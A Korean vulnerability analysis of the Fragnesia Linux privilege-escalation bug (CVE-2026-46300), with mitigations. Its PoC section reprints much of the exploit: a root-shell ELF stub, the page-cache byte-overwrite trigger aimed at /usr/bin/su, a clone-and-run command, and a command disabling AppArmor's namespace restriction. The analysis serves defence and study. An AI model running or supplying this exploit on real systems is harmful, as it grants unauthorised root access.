01. Executive Summary
•
취약점 개요
◦
Dirty Frag 취약점 클래스의 일종으로 리눅스 범용 로컬 권한 상승(LPE, Local Privilege Escalation) 익스플로잇 Fragnesia (CVE-2026-46300) 발견
◦
◦
DirtyFrag와는 별개로 고유한 패치가 적용된 ESP/XFRM 내의 다른 버그이나, 취약점이 발생하는 영역이 동일하기 때문에 완화 조치 역시 DirtyFrag와 동일
◦
소켓 버퍼인 skb가 병합되는 동안 조각인 frag가 공유되고 있다는 사실을 "잊어버리기”때문에 Fragnesia라고 명명
◦
CopyFail(CVE-2026-31431)→Dirty-Frag(CVE-2026-43284&CVE-2026-43500)→Fragnesia(CVE-2026-46300)으로 취약점이 연쇄적으로 발생
•
대응방안
◦
익스플로잇이 실행된 후, 페이지 캐시 내의 /usr/bin/su에는 주입된 스텁이 포함되기 때문에 이후 실행되는 모든 su 명령은 해당 페이지가 제거(eviction)될 때까지 계속해서 쉘을 다시 생성
◦
따라서 익스플로잇 실행 이후에는 반드시 캐시를 비우거나 재부팅 필요
echo 1 | tee /proc/sys/vm/drop_caches
JavaScript
복사
◦
위의 명령어 실행 시에 일반 권한에서 실행한 경우에는 Permission denied가 발생하기 때문에 1명령어만 나오는 권한에서 실행 필요
▪
테스트 결과 PoC 실행 이후 echo 1 | tee /proc/sys/vm/drop_caches을 입력하는 경우 /proc/sys/vm/drop_caches: Permission denied (os error 13)메시지가 발생
▪
이 상황에서 다시 PoC를 실행해보면 이미 페이지 캐시 내의 /usr/bin/su에 주입된 스텁이 포함되어 있기 때문에 192바이트가 덮어쓰기 되는 과정이 미발생
▪
echo 1 | tee /proc/sys/vm/drop_caches대신 echo 1 | sudo tee /proc/sys/vm/drop_caches로 입력하는 경우 정상적으로 제거 확인
02. Overview
2.1. 취약점 개요
•
Dirty Frag 취약점 클래스의 일종으로 리눅스 범용 로컬 권한 상승(LPE, Local Privilege Escalation) 익스플로잇 Fragnesia (CVE-2026-46300) 발견
◦
◦
DirtyFrag와는 별개로 고유한 패치가 적용된 ESP/XFRM 내의 다른 버그이나, 취약점이 발생하는 영역이 동일하며하기 때문에 완화 조치 역시 DirtyFrag와 동일
◦
소켓 버퍼인 skb가 병합되는 동안 조각인 frag가 공유되고 있다는 사실을 "잊어버리기”때문에 Fragnesia라고 명명
◦
CopyFail(CVE-2026-31431)→Dirty-Frag(CVE-2026-43284&CVE-2026-43500)→Fragnesia(CVE-2026-46300)으로 취약점이 연쇄적으로 발생
•
해당 취약점은 리눅스 XFRM ESP-in-TCP 하위 시스템의 논리 버그를 악용하여, 어떠한 경쟁 상태인 레이스 컨디션(race condition)도 필요로 하지 않고 읽기 전용 파일의 커널 페이지 캐시에 임의의 바이트 쓰기를 수행
◦
Dirty Pipe를 포함하는 페이지 캐시 쓰기 버그 클래스를 확장한 것으로 데이터가 이미 파일에서 수신 대기열(receive queue)로 스플라이스(splice)된 후 TCP 소켓이 espintcp ULP 모드로 전환되면, 커널은 대기열에 있는 파일 페이지를 ESP 암호문으로 처리
◦
카운터 블록 위치 2, 바이트 0에 있는 AES-GCM 키스트림 바이트가 캐시된 파일 페이지에 직접 XOR 연산
◦
원하는 키스트림 바이트를 생성하도록 IV 논스(nonce)를 선택함으로써, 파일 내의 모든 대상 바이트를 원하는 값으로 설정할수 있고 이는 이는 트리거 호출당 1바이트씩 수행
•
공개된 POC는 가능한 각 키스트림 바이트를 해당하는 논스에 매핑하는 256개 항목의 룩업 테이블을 구축한 다음, 페이로드를 순회하며 변경이 필요한 각 바이트마다 스플라이스/ULP 레이스를 실행
◦
페이지 캐시 내의 /usr/bin/su 첫 192바이트 위에 위치 독립적인 작은 ELF 스텁(setresuid/setresgid/execve /bin/sh)을 덮어쓴 다음, execve("/usr/bin/su")를 호출하여 루트 쉘을 획득
◦
페이지 캐시의 수정 사항은 디스크에 저장(백업)되지 않으므로, 디스크 상의 바이너리는 훼손되지 않은 상태로 유지
2.2. 영향받는 버전 및 완화방안
1) 영향받는 버전
•
Dirty Frag의 영향을 받는 모든 버전으로 2026년 5월 13일 이전의 Linux 커널은 취약점에 영향
◦
◦
리눅스 localhost 6.8.0-111-generic #111-Ubuntu SMP PREEMPT_DYNAMIC Sat Apr 11 23:16:02 UTC 2026 x86_64 x86_64 x86_64 GNU/Linux (Linode에서 구매한 VPS)에서 정상 작동하는 것을 확인
◦
RHEL의 CVSS v3기준 점수는 7.8(NVD점수는 미존재)
•
벤더별 영향도
◦
2) 완화방안
•
Dirty Frag의 대응방안과 동일
rmmod esp4 esp6 rxrpc
printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' > /etc/modprobe.d/dirtyfrag.conf
JavaScript
복사
03. Vulnerability Analysis
3.1. PoC 실행방법
•
PoC 실행 방법
git clone https://github.com/v12-security/pocs.git && cd pocs/fragnesia && gcc -o exp fragnesia.c && ./exp
Shell
복사
▽ PoC 실행 내역, 실행환경 : Linux version 7.0.0-15-generic (buildd@lcy02-amd64-048)
▽ 192바이트를 덮어쓰는 과정
▽ 192바이트의 덮어쓰기가 완료되어 root권한을 획득한 결과
•
우분투(Ubuntu) 참고 사항: AppArmor는 기본적으로 권한이 없는 사용자 네임스페이스를 제한함에 따라 제한하기 때문에 하기 명령어를 먼저 실행 필요
◦
다른 버그들을 연결하여 이 요구 사항을 우회할 수 있지만, 이는 이 취약점의 범위에 포함되지 않음
◦
이 공격은 /usr/bin/su직접적인 공격 대상을 겨냥하기 때문에 성공하면 루트 쉘에 진입
sudo sysctl -w kernel.apparmor_restrict_unprivileged_userns=0
Shell
복사
•
익스플로잇이 실행된 후, 페이지 캐시 내의 /usr/bin/su에는 주입된 스텁이 포함되기 때문에 이후 실행되는 모든 su 명령은 해당 페이지가 제거(eviction)될 때까지 계속해서 쉘을 다시 생성
◦
따라서 익스플로잇 실행 이후에는 반드시 캐시를 비우거나 재부팅 필요
echo 1 | tee /proc/sys/vm/drop_caches
JavaScript
복사
•
위의 명령어 실행 시에 일반 권한에서 실행한 경우에는 Permission denied가 발생하기 때문에 1명령어만 나오는 권한에서 실행 필요
◦
테스트 결과 PoC 실행 이후 echo 1 | tee /proc/sys/vm/drop_caches을 입력하는 경우 /proc/sys/vm/drop_caches: Permission denied (os error 13)메시지가 발생
◦
이 상황에서 다시 PoC를 실행해보면 이미 페이지 캐시 내의 /usr/bin/su에 주입된 스텁이 포함되어 있기 때문에 192바이트가 덮어쓰기 되는 과정이 미발생
▽ PoC 실행 후 정상적으로 제거가 되지 않은 상태
◦
echo 1 | tee /proc/sys/vm/drop_caches대신 echo 1 | sudo tee /proc/sys/vm/drop_caches로 입력하는 경우 정상적으로 제거 확인
▽ PoC 실행 후 정상적으로 제거된 후 다시 PoC를 실행한 상태
2.2. PoC를 통한 취약점 설명
1) 192바이트 ELF 파일 설정
•
/usr/bin/su 파일의 헤더 부분에 덮어쓸 192바이트 크기의 독립형 에뮬레이트 ELF 바이너리로
◦
일반적인 su 명령어가 아니라, 내부적으로 setresuid(0, 0, 0)와 setresgid(0, 0, 0)를 호출하여 권한을 완전한 최고 관리자(root)로 상승시킨 뒤, 관리자 쉘인 /bin/sh를 실행하도록 기계어로 프로그래밍
▽ shell_elf 함수 내용
static const uint8_t shell_elf[PAYLOAD_LEN] = {
0x7f,0x45,0x4c,0x46,0x02,0x01,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x02,0x00,0x3e,0x00,0x01,0x00,0x00,0x00,0x78,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x40,0x00,0x38,0x00,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x01,0x00,0x00,0x00,0x05,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x40,0x00,0x00,0x00,0x00,0x00,
0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0xb8,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x10,0x00,0x00,0x00,0x00,0x00,0x00,0x31,0xff,0x31,0xf6,0x31,0xc0,0xb0,0x6a,
0x0f,0x05,0xb0,0x69,0x0f,0x05,0xb0,0x74,0x0f,0x05,0x6a,0x00,0x48,0x8d,0x05,0x12,
0x00,0x00,0x00,0x50,0x48,0x89,0xe2,0x48,0x8d,0x3d,0x12,0x00,0x00,0x00,0x31,0xf6,
0x6a,0x3b,0x58,0x0f,0x05,0x54,0x45,0x52,0x4d,0x3d,0x78,0x74,0x65,0x72,0x6d,0x00,
0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
};
JavaScript
복사
▽ shell_elf 함수의 Disassemble 결과
payload.bin: file format binary
Disassembly of section .data:
0000000000000078 <.data+0x78>:
## 1. 최고 관리자인 root권한 획득
78: 31 ff xor %edi,%edi ; EDI = 0 (첫 번째 인자: ruid = 0)
7a: 31 f6 xor %esi,%esi ; ESI = 0 (두 번째 인자: euid = 0)
7c: 31 c0 xor %eax,%eax ; EAX = 0 (세 번째 인자: suid = 0)
7e: b0 6a mov $0x6a,%al ; EAX의 하위 바이트에 setresuid 시스템 콜 번호(106) 장착
80: 0f 05 syscall ; 커널 호출 -> setresuid(0, 0, 0) 실행 (루트 유저 권한 획득)
82: b0 69 mov $0x69,%al ; EAX의 하위 바이트에 setresgid 시스템 콜 번호(105) 장착
84: 0f 05 syscall ; 커널 호출 -> setresgid(0, 0, 0) 실행 (루트 그룹 권한 획득)
86: b0 74 mov $0x74,%al ; EAX의 하위 바이트에 setfsuid 시스템 콜 번호(116) 장착
88: 0f 05 syscall ; 커널 호출 -> setfsuid(0) 실행 (파일 시스템 접근 권한까지 루트로 확정)
## 2. execve 인자 구성 및 스택 세팅
8a: 6a 00 push $0x0 ; 스택에 NULL(0) 삽입 (환경 변수 배열의 끝을 표시하기 위함)
8c: 48 8d 05 12 00 00 00 lea 0x12(%rip),%rax ; 현재 위치 기준 18바이트 뒤인 0xa5 주소("TERM=xterm" 문자열)를 RAX에 로드
93: 50 push %rax ; 스택에 "TERM=xterm" 문자열의 주소값 삽입
94: 48 89 e2 mov %rsp,%rdx ; 현재 스택 포인터(환경 변수 주소 배열)를 RDX(execve의 세 번째 인자: envp)에 대입
97: 48 8d 3d 12 00 00 00 lea 0x12(%rip),%rdi ; 현재 위치 기준 18바이트 뒤인 0xb0 주소("/bin/sh" 문자열)를 RDI(execve의 첫 번째 인자: filename)에 로드
9e: 31 f6 xor %esi,%esi ; ESI = 0 (execve의 두 번째 인자: argv = NULL 세팅)
## 3. 루트 쉘 실행
a0: 6a 3b push $0x3b ; 스택에 execve 시스템 콜 번호(59) 삽입
a2: 58 pop %rax ; 스택에서 꺼내 EAX에 59 장착
a3: 0f 05 syscall ; 커널 호출 -> execve("/bin/sh", NULL, {"TERM=xterm"}) 실행
## 4. "TERM=xterm\0"문자열 구간 확인 및 문자열 교체
a5: 54 push %rsp ; 데이터: 'T' (0x54) |
a6: 45 52 rex.RB push %r10 ; 데이터: 'E', 'R' | -> "TERM=xterm\0" 문자열 구간
a8: 4d 3d 78 74 65 72 rex.WRB cmp ... ; 데이터: 'M', '=', 'x', 't', 'e', 'r'
ae: 6d insl ... ; 데이터: 'm' (0x6d) |
af: 00 2f add %ch,(%rdi) ; 데이터: 0x00(문자열 끝)과 '/' (0x2f)
b1: 62 69 6e 2f 73 (bad) ; 데이터: 'b', 'i', 'n', '/', 's' |
b6: 68 00 00 00 00 push $0x0 ; 데이터: 'h' (0x68)와 널 바이트들 | -> "/bin/sh\0" 문자열 구간
bb: 00 00 add %al,(%rax) ; 데이터: 남은 패딩용 빈 공간 (0x00)
bd: 00 00 add %al,(%rax) ; 데이터: 남은 패딩용 빈 공간 (0x00)
JavaScript
복사
2) 네임스페이스 및 네트워크 환경 구축 (setup_user_netns_xfrm)
▽ setup_user_netns_xfrm 함수 내용
static void setup_user_netns_xfrm(void)
{
if (prctl(PR_SET_DUMPABLE, 1, 0, 0, 0) < 0)
die("prctl PR_SET_DUMPABLE");
enter_mapped_userns();
if (unshare(CLONE_NEWNET) < 0)
gate_fail("unshare(CLONE_NEWNET)");
printf("netns_setup=1\n");
bring_loopback_up();
add_xfrm_espintcp_state();
printf("namespace_setup_complete=1\n");
}
JavaScript
복사
•
일반 계정은 시스템 전체에 영향을 주는 네트워크 보안 정책(XFRM)을 마음대로 수정할 수 없습니다. 이 제약을 우회하기 위해 리눅스의 네임스페이스 격리 기능을 사용
◦
enter_mapped_userns(): unshare(CLONE_NEWUSER)를 호출하여 새로운 사용자 네임스페이스를 만들고 이 내부에서는 자신이 루트(uid=0)인 것처럼 속일 수 있음 (실제 호스트의 루트 권한은 아님)
◦
unshare(CLONE_NEWNET): 독립된 가상 네트워크 환경 생성
◦
add_xfrm_espintcp_state(): 격리된 네트워크 안에서 NETLINK_XFRM 소켓을 통해 암호화 통신 정책(ESP-in-TCP)을 강제로 등록하며, 이때 암호화 키(xfrm_aead_key)를 가짜로 지정하여 연구자가 통제할 수 있도록 만듬
3) AES-GCM 키스트림 사전 계산 (build_stream0_table)
▽ build_stream0_table 함수 내용
static void build_stream0_table(void)
{
unsigned char iv[8] = {
0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc, 0xcc
};
unsigned int count = 0, nonce;
int alg_fd;
alg_fd = open_afalg_aes_ecb();
for (nonce = 0; nonce <= 0xffff && count < 256; nonce++) {
unsigned char b;
store_be32(iv + 4, nonce);
b = aes_gcm_stream0_byte(alg_fd, iv);
if (stream0_have[b])
continue;
stream0_have[b] = true;
stream0_nonce[b] = (uint16_t)nonce;
count++;
}
close(alg_fd);
if (count != 256) {
fprintf(stderr, "failed to build complete stream-byte table: %u/256\n",
count);
exit(2);
}
printf("stream0_table_entries=256\n");
}
JavaScript
복사
•
이 취약점의 핵심은 파일 조각이 커널에 의해 AES-GCM 방식으로 제자리 복호화(In-place Decryption) 되면서 데이터가 오염되는 현상을 이용하는 것으로 XOR의 성질을 이용
◦
aes_gcm_stream0_byte(): 가짜 암호화 키를 바탕으로, 암호화 과정에서 무작위 값처럼 생성되는 '키스트림(Keystream)의 첫 번째 바이트'를 계산
◦
build_stream0_table(): 초기화 벡터(IV)인 논스(Nonce) 값을 0부터 65535까지 대입해 보며, 0x00부터 0xFF(256가지)까지 모든 바이트를 만들어낼 수 있는 논스 값의 지도를 룩업 테이블(stream0_nonce)에 미리 채워두기 때문에 레이스 컨디션 없이, 내가 원하는 바이트를 정확하게 저격해서 변경
4) 커널 트리거 가동 (run_trigger_pair 및 sender / receiver)
▽ run_trigger_pair 함수 내용
static int run_trigger_pair(void)
{
int pipefd[2], st_rx, st_tx;
pid_t rx, tx;
if (pipe(pipefd) < 0)
die("pipe");
rx = fork();
if (rx < 0)
die("fork receiver");
if (rx == 0) {
close(pipefd[0]);
receiver(pipefd[1]);
}
tx = fork();
if (tx < 0)
die("fork sender");
if (tx == 0) {
close(pipefd[1]);
sender(pipefd[0]);
}
close(pipefd[0]);
close(pipefd[1]);
if (waitpid(tx, &st_tx, 0) < 0)
die("wait sender");
if (waitpid(rx, &st_rx, 0) < 0)
die("wait receiver");
printf("sender_status=%d receiver_status=%d\n", st_tx, st_rx);
if (!WIFEXITED(st_tx) || WEXITSTATUS(st_tx) != 0 ||
!WIFEXITED(st_rx) || WEXITSTATUS(st_rx) != 0)
return -1;
return 0;
}
JavaScript
복사
▽ receiver 함수 내용
static void receiver(int ready_write_fd)
{
struct sockaddr_in6 addr = {
.sin6_family = AF_INET6,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
.sin6_port = htons(TCP_PORT),
.sin6_flowinfo = 0,
.sin6_scope_id = 0,
};
char ulp[] = "espintcp";
int fd, cfd, one = 1;
fd = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (fd < 0)
die("receiver socket");
if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &one, sizeof(one)) < 0)
die("receiver reuseaddr");
if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
die("receiver bind");
if (listen(fd, 1) < 0)
die("receiver listen");
write_ready(ready_write_fd);
cfd = accept4(fd, NULL, NULL, SOCK_CLOEXEC);
if (cfd < 0)
die("receiver accept");
usleep(RECEIVER_PRE_ULP_US);
if (setsockopt(cfd, IPPROTO_TCP, TCP_ULP, ulp, sizeof(ulp)) < 0)
die("receiver TCP_ULP espintcp");
printf("receiver_ns_uid=%d euid=%d espintcp_enabled_after_queue=1\n",
getuid(), geteuid());
usleep(RECEIVER_POST_ULP_US);
close(cfd);
close(fd);
_exit(0);
}
JavaScript
복사
▽ sender 함수 내용
static void sender(int ready_read_fd)
{
struct sockaddr_in6 dst = {
.sin6_family = AF_INET6,
.sin6_addr = IN6ADDR_LOOPBACK_INIT,
.sin6_port = htons(TCP_PORT),
.sin6_flowinfo = 0,
.sin6_scope_id = 0,
};
struct {
__be16 len;
unsigned char esp[16];
} prefix;
loff_t off, start_off;
int fd, sock, p[2], one = 1;
ssize_t ret, sent;
wait_ready(ready_read_fd);
memset(&prefix, 0xcc, sizeof(prefix));
prefix.len = htons(sizeof(prefix) + FRAG_LEN);
prefix.esp[0] = 0x00;
prefix.esp[1] = 0x00;
prefix.esp[2] = 0x01;
prefix.esp[3] = 0x00;
store_be32(&prefix.esp[4], active_esp_seq);
memcpy(&prefix.esp[8], active_esp_gcm_iv, sizeof(active_esp_gcm_iv));
fd = open(target_file, O_RDONLY | O_CLOEXEC);
if (fd < 0)
die("sender open target");
sock = socket(AF_INET6, SOCK_STREAM | SOCK_CLOEXEC, 0);
if (sock < 0)
die("sender socket");
if (setsockopt(sock, IPPROTO_TCP, TCP_NODELAY, &one, sizeof(one)) < 0)
die("sender TCP_NODELAY");
if (connect(sock, (struct sockaddr *)&dst, sizeof(dst)) < 0)
die("sender connect");
sent = send(sock, &prefix, sizeof(prefix), 0);
if (sent != (ssize_t)sizeof(prefix))
die("sender send prefix");
usleep(SENDER_PRE_SPLICE_US);
if (pipe(p) < 0)
die("sender pipe");
off = target_splice_off;
start_off = off;
ret = splice(fd, &off, p[1], NULL, FRAG_LEN, 0);
if (ret != FRAG_LEN)
die("sender splice file to pipe");
ret = splice(p[0], NULL, sock, NULL, FRAG_LEN, 0);
if (ret < 0)
die("sender splice pipe to tcp");
printf("sender_ns_uid=%d euid=%d prefix_send=%zd splice_to_tcp=%zd file_off=%lld file_off_next=%lld\n",
getuid(), geteuid(), sent, ret, (long long)start_off,
(long long)off);
close(p[0]);
close(p[1]);
close(sock);
close(fd);
_exit(ret == FRAG_LEN ? 0 : 3);
}
JavaScript
복사
•
실제 커널 버그를 발동시켜 페이지 캐시를 오염시키는 핵심 루틴으로 프로세스를 Sender와 Receiver로 Fork하여 수행
◦
송신자 (sender):
1.
암호화할 타겟 파일(/usr/bin/su)의 특정 바이트 위치를 지정
2.
splice() 시스템 콜을 사용하여 디스크의 파일 데이터를 직접 읽어와 TCP 소켓의 송신 버퍼(대기열)로 밀어 넣음
◦
수신자 (receiver):
1.
소켓 버퍼에 데이터가 다 들어올 때까지 의도적으로 대기(usleep)
2.
데이터가 꽉 찬 상태에서 소켓의 설정을 setsockopt(..., TCP_ULP, "espintcp")로 전환
•
버그 발생 지점 : 커널은 소켓에 쌓여있던 파일 데이터 조각(frag)이 공유 상태라는 사실을 망각하고, 이를 ESP 암호문으로 오인해 메모리(페이지 캐시) 상에서 직접 복호화(XOR 연산)를 수행해 버리는 결과로 커널 메모리에 위치한 /usr/bin/su 바이너리가 한 바이트 변조
5) 바이트 단위 순회 및 실행 (replace_existing_bytes_after 및 main)
▽ replace_existing_bytes_after 함수 내용
static int replace_existing_bytes_after(uint64_t byte_off,
const unsigned char *desired,
size_t desired_len,
uint64_t file_size)
{
uint64_t last = checked_byte_range_last(byte_off, desired_len);
size_t idx, changed = 0, skipped = 0;
unsigned char live_state[PAYLOAD_LEN];
int fd_init;
if (last >= file_size) {
fprintf(stderr, "byte range outside target: offset=%llu len=%zu size=%llu\n",
(unsigned long long)byte_off, desired_len,
(unsigned long long)file_size);
return 2;
}
if (last > file_size - FRAG_LEN) {
fprintf(stderr,
"collateral-after mode requires requested range end <= size-%d: offset=%llu len=%zu size=%llu\n",
FRAG_LEN, (unsigned long long)byte_off, desired_len,
(unsigned long long)file_size);
return 2;
}
printf(C_BCYN "\n[*]" C_RESET
" timing: rx_pre_ulp=%uus tx_pre_splice=%uus rx_post_ulp=%uus\n",
RECEIVER_PRE_ULP_US, SENDER_PRE_SPLICE_US, RECEIVER_POST_ULP_US);
printf(C_BCYN "[*]" C_RESET
" range: offset=0x%llx len=%zu last=0x%llx"
" enc_len=%d splice_len=%d\n",
(unsigned long long)byte_off, desired_len,
(unsigned long long)last, ESP_GCM_ENCRYPTED_LEN, FRAG_LEN);
printf(C_BCYN "[*]" C_RESET
" union: transformed=0x%llx-0x%llx"
" collateral_after=0x%llx-0x%llx\n",
(unsigned long long)byte_off,
(unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1),
(unsigned long long)(last + 1),
(unsigned long long)(last + ESP_GCM_ENCRYPTED_LEN - 1));
printf(C_BCYN "[*]" C_RESET " ");
print_hex_bytes("payload", desired, desired_len);
printf("\n");
build_stream0_table();
printf("\n");
/* seed live_state from the file so the hex dump has real values */
fd_init = open(target_file, O_RDONLY | O_CLOEXEC);
if (fd_init < 0) die("open live_state init");
if (pread(fd_init, live_state, desired_len, (off_t)byte_off) < (ssize_t)desired_len)
die("pread live_state init");
close(fd_init);
/* clear screen so the frame starts at a known row 1 */
printf("\033[2J\033[H");
draw_smash_frame(desired, desired_len, live_state, 0, 0, 0, 1);
/* pin the frame to rows 1-FRAME_LINES; scroll region below */
{
struct winsize ws;
int tr = 40;
if (ioctl(STDOUT_FILENO, TIOCGWINSZ, &ws) == 0 && ws.ws_row > FRAME_LINES)
tr = (int)ws.ws_row;
printf("\033[%d;%dr", FRAME_LINES + 1, tr);
printf("\033[%d;1H", tr); /* park cursor at bottom of scroll region */
fflush(stdout);
}
for (idx = 0; idx < desired_len; idx++) {
uint64_t off = byte_off + idx;
unsigned char current, final, need_stream;
live_state[idx] = read_byte_at(target_file, off);
current = live_state[idx];
draw_smash_frame(desired, desired_len, live_state, idx,
changed, skipped, 0);
if (current == desired[idx]) {
printf(C_DIM "[-] [%zu/%zu] +%04llx already=%02x skip\n" C_RESET,
idx + 1, desired_len, (unsigned long long)off, current);
skipped++;
continue;
}
target_splice_off = (loff_t)off;
need_stream = current ^ desired[idx];
choose_iv_for_stream0(need_stream);
active_esp_seq++;
printf(C_BCYN "[*]" C_RESET " [%zu/%zu]"
" +%04llx " C_RED "%02x" C_RESET " -> " C_BGRN "%02x" C_RESET
" xor=" C_CYAN "%02x" C_RESET
" seq=" C_DIM "%u" C_RESET
" nonce=" C_DIM "%u" C_RESET "\n",
idx + 1, desired_len, (unsigned long long)off,
current, desired[idx], need_stream,
active_esp_seq, stream0_nonce[need_stream]);
/*
printf(C_BCYN "[*]" C_RESET " before:\n");
print_hex_row(target_file, off, "orig", current, "want", desired[idx]);
printf(C_BCYN "[*]" C_RESET " iv=" C_CYAN);
{
size_t k;
for (k = 0; k < sizeof(active_esp_gcm_iv); k++)
printf("%02x", active_esp_gcm_iv[k]);
}
*/
printf(C_RESET " firing espintcp splice...\n");
if (run_trigger_pair() < 0) {
fprintf(stderr, C_BRED "[-] trigger pair failed at index=%zu\n" C_RESET, idx);
return 2;
}
final = read_byte_at(target_file, off);
live_state[idx] = final;
/*
printf(C_BCYN "[*]" C_RESET " after:\n");
print_hex_row(target_file, off, "was", current, "now", final);
*/
if (final == desired[idx]) {
printf(C_BGRN "[+]" C_RESET " smashed"
C_DIM " %02x -> %02x index=%zu offset=+%04llx\n\n" C_RESET,
current, final, idx, (unsigned long long)off);
changed++;
continue;
}
if (final == current) {
printf(C_BGRN "[-]" C_RESET
" fixed behavior: byte unchanged at index=%zu offset=%llu\n",
idx, (unsigned long long)off);
return 0;
}
printf(C_BRED "[-]" C_RESET
" BUG: byte changed but desired-value check mismatched"
" index=%zu offset=%llu desired=%02x got=%02x\n",
idx, (unsigned long long)off, desired[idx], final);
return 1;
}
/* final frame: all bytes done, cursor past the end */
draw_smash_frame(desired, desired_len, live_state, desired_len,
changed, skipped, 0);
/* restore full scroll region and drop cursor below the frame */
printf("\033[r\033[%d;1H\n", FRAME_LINES + 1);
/* final verify pass */
printf(C_BCYN "[*]" C_RESET " verifying %zu bytes...\n", desired_len);
for (idx = 0; idx < desired_len; idx++) {
uint64_t off = byte_off + idx;
unsigned char final = read_byte_at(target_file, off);
if (final != desired[idx]) {
printf(C_BRED "[-]" C_RESET
" BUG: final verify mismatch index=%zu offset=%llu desired=%02x got=%02x\n",
idx, (unsigned long long)off, desired[idx], final);
return 1;
}
}
printf(C_BCYN "[*]" C_RESET " bytes_flip_summary len=%zu changed=" C_BGRN "%zu" C_RESET
" skipped=" C_DIM "%zu" C_RESET "\n",
desired_len, changed, skipped);
if (changed == 0) {
fprintf(stderr, "all requested bytes already had desired values\n");
return 2;
}
printf(C_BGRN "[+]" C_RESET " BUG: changed requested copied byte range to desired values\n");
return 1;
}
JavaScript
복사
▽ main 함수 내용
int main(int argc, char **argv)
{
unsigned char *desired;
uint64_t file_size, byte_off;
size_t desired_len, sample_len;
int ret;
setvbuf(stdout, NULL, _IONBF, 0);
printf(C_BCYN "[*]" C_RESET
" uid=" C_BWHT "%d" C_RESET
" euid=" C_BWHT "%d" C_RESET
" gid=" C_BWHT "%d" C_RESET
" egid=" C_BWHT "%d" C_RESET "\n",
getuid(), geteuid(), getgid(), getegid());
printf(C_BCYN "[*]" C_RESET
" mode=xfrm_espintcp_pagecache_replace collateral=after\n");
printf("\n");
// system("cp /bin/cat /tmp/test");
// file_size = use_existing_target("/tmp/test");
file_size = use_existing_target("/usr/bin/su");
byte_off = 0;
desired = (unsigned char *)shell_elf;
desired_len = PAYLOAD_LEN;
printf(C_BCYN "[*]" C_RESET " target=%s size=%llu\n",
target_file, (unsigned long long)file_size);
verify_write_denied("outer");
setup_user_netns_xfrm();
verify_write_denied("userns_root_mapped_to_outer_user");
ret = replace_existing_bytes_after(byte_off, desired, desired_len,
file_size);
/* reset scroll region; some terminals home the cursor on \033[r so
* explicitly jump to the last row so PS1 lands below our output */
write(STDOUT_FILENO, "\033[r\033[9999;1H\033[?25h\n", 19);
execve("/usr/bin/su", NULL, NULL);
return ret;
}
JavaScript
복사
•
replace_existing_bytes_after(): 덮어써야 할 192바이트 페이로드를 한 바이트씩 읽어어서 현재 캐시된 바이트와 내가 원하는 바이트를 XOR 연산(current ^ desired[idx])하여 필요한 키스트림 값을 도출
◦
앞서 만든 테이블에서 그 값을 만들어내는 논스(IV)를 찾아내어 (choose_iv_for_stream0), run_trigger_pair()를 호출해 한 바이트씩 정확하게 변조
◦
draw_smash_frame() 함수는 이 과정을 터미널에 시각적인 헥스 덤프(Hex Dump) 진척도로 출력
•
main():/usr/bin/su를 타겟 파일로 지정하고 권한 상태를 체크
◦
변조 루틴이 모두 끝나 192바이트의 shell_elf 스텁이 메모리에 완벽히 안착하면, 마지막에 execve("/usr/bin/su", NULL, NULL);를 호출
◦
시스템은 원래 su를 실행하려 하지만, 메모리(페이지 캐시)가 이미 가짜 관리자 쉘 코드로 오염되어 있으므로 권한 상승된 루트 쉘이 실행되면서 익스플로잇이 완료
2.3. PoC 동작 원리
1.
사용자 + 네트워크 네임스페이스 설정 : 익스플로잇은 unshare(CLONE_NEWUSER | CLONE_NEWNET)를 호출하여 호스트에 대한 실제 권한 없이도 CAP_NET_ADMIN 권한을 보유할 수 있는 네임스페이스를 획득
2.
XFRM SA 설치 : 네트워크 네임스페이스 내부에서, 알려진 키와 SPI 0x100과 함께 AES-128-GCM을 사용하여 전송 모드(transport-mode) ESP-in-TCP 보안 결합(Security Association)이 NETLINK_XFRM을 통해 설치
3.
키스트림 테이블 : 시퀀스 위치 2에 대한 16바이트 AES-GCM 카운터 블록은 [salt || IV || 00000002]
•
알려진 키로 이를 암호화하면 16바이트 키스트림 블록이 생성되며, 이 중 바이트 0만 사용
•
8바이트 IV(논스)의 하위 32비트를 변경함으로써, 처음 65536개의 논스 내에서 가능한 256개의 모든 스트림 바이트 값에 도달
•
이 테이블은 AF_ALG를 통해 한 번 구축된 후 모든 바이트 플립(바이트 변환)에 재사용
4.
스플라이스 후 ULP 트리거 (Splice-then-ULP trigger) : 송신자/수신자 쌍이 포크(fork)되며 송신자는 데이터가 소켓 버퍼에 들어가기 전에, 선택된 IV로 구성된 ESP 헤더와 ESP-in-TCP 길이 워드가 앞에 붙은 대상 파일(손상시킬 바이트부터 시작)로부터 4096바이트를 TCP 스트림으로 스플라이스(splice)
•
수신자는 데이터가 소켓 버퍼에 들어올 때까지 TCP_ULP espintcp 설치를 지연
•
ULP가 활성화되면, 커널은 대기열에 있는 ESP 레코드를 제자리에서 복호화하려고 시도하며, GCM 키스트림을 스플라이스 매핑된 파일 페이지(VFS 페이지 캐시 항목을 뒷받침하는 동일한 물리 페이지)에 XOR 연산
5.
바이트 단위 페이로드 쓰기 : 페이로드 중에서 아직 원하는 값을 가지지 못한 각 바이트에 대해 3~4단계를 반복하며 각 반복마다 필요한 키스트림 바이트를 다시 계산하고, 해당하는 IV 논스를 찾아낸 뒤, ESP 시퀀스 번호를 증가시키고 새로운 트리거 쌍을 실행
6.
